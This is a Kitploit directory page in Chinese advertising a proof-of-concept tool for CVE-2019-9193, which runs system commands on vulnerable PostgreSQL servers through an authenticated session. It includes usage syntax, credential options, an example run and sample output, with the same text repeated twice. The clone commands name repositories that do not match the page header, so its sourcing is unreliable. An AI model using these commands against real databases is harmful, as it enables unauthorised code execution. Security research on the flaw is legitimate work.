Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-9193 — PoC工具,设计用于利用特定版本的PostgreSQL(9.3 - 11.7)中一个经认证的远程代码执行(RCE)漏洞。 | Kitploit
工具/GitHubGitHub/jhnhnck/cve-2019-9193
漏洞分析漏洞利用渗透测试学习与教育数据库安全
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

PoC工具,设计用于利用特定版本的PostgreSQL(9.3 - 11.7)中一个经认证的远程代码执行(RCE)漏洞。

查看仓库
392个月前尚未审核
分享

ZH

GenPostgresRCEExploit 是一款 PoC 工具,旨在利用某些版本 PostgreSQL(9.3 - 11.7)中的已认证远程代码执行(RCE)漏洞。它允许已认证用户在受 CVE-2019-9193 影响的 PostgreSQL 数据库服务器上执行系统命令。

功能特性

  • RCE 利用:通过已认证的 PostgreSQL 会话执行系统命令。
  • 版本检查:检查目标 PostgreSQL 服务器的版本,以确认是否存在漏洞。
  • 命令执行:如果服务器存在漏洞,则允许在服务器上执行用户命令。
  • 自动表管理:创建并删除临时表以执行命令,无需人工干预。

环境要求

  • Python 3.x
  • PostgreSQL Python 库(通过 pip 安装的 psycopg2)

安装

  1. 克隆仓库:
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. 使用 uv 安装依赖:
    uv sync
    

使用方法

python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

选项

  • -i、--ip:PostgreSQL 服务器的 IP 地址(默认值:127.0.0.1)
  • -p、--port:PostgreSQL 服务器端口(默认值:5432)
  • -d、--database:PostgreSQL 数据库名称(默认值:template1)
  • -U、--user:连接 PostgreSQL 服务器的用户名(默认值:postgres)
  • -P、--password:连接 PostgreSQL 服务器的密码(默认值:postgres)
  • -c、---command:要在服务器上执行的系统命令
  • -t、--timeout:连接超时时间(秒)(默认值:10)

示例

python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

此示例连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用提供的凭据进行身份验证,并执行 whoami 命令。

示例输出

$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

免责声明

本工具仅用于教育目的和道德测试。未经授权对任何系统使用本工具均属违法行为,并严格禁止。作者对任何滥用行为不承担责任。

RU

GenPostgresRCEExploit 是一个 PoC 漏洞利用程序,旨在利用某些版本 PostgreSQL(9.3 - 11.7)中的远程代码执行(RCE)漏洞。该程序允许已认证用户在易受 CVE-2019-9193 影响的 PostgreSQL 服务器上执行系统命令。

功能特性

  • 利用 RCE:通过已认证的 PostgreSQL 连接执行系统命令。
  • 版本检查:检查目标 PostgreSQL 服务器的版本是否存在漏洞。
  • 命令执行:在存在漏洞的情况下,允许在服务器上执行任意命令。
  • 表管理:自动创建和删除用于命令执行的临时表。

环境要求

  • Python 3.x
  • PostgreSQL 客户端库(psycopg2 包)

安装

  1. 克隆仓库:
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. 使用 uv 安装依赖:
    uv sync
    

使用方法

python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

选项

  • -i、--ip:PostgreSQL 服务器的 IP 地址(默认值:127.0.0.1)
  • -p、--port:PostgreSQL 服务器端口(默认值:5432)
  • -d、--database:PostgreSQL 数据库名称(默认值:template1)
  • -U、--user:连接 PostgreSQL 服务器的用户名(默认值:postgres)
  • -P、--password:连接 PostgreSQL 服务器的密码(默认值:postgres)
  • -c、--command:在服务器上执行的系统命令
  • -t、--timeout:连接超时时间(秒)(默认值:10)

示例

python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

在此示例中,程序连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用指定的凭据进行身份验证,并执行 whoami 命令。

示例输出

$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

postgres

免责声明

本工具仅用于教育目的和合法测试。未经授权使用本工具针对任何系统均属违法行为,并严格禁止。作者对任何滥用行为不承担责任。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    415
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    258

探索所有工具

浏览我们的工具集合

查看所有工具 →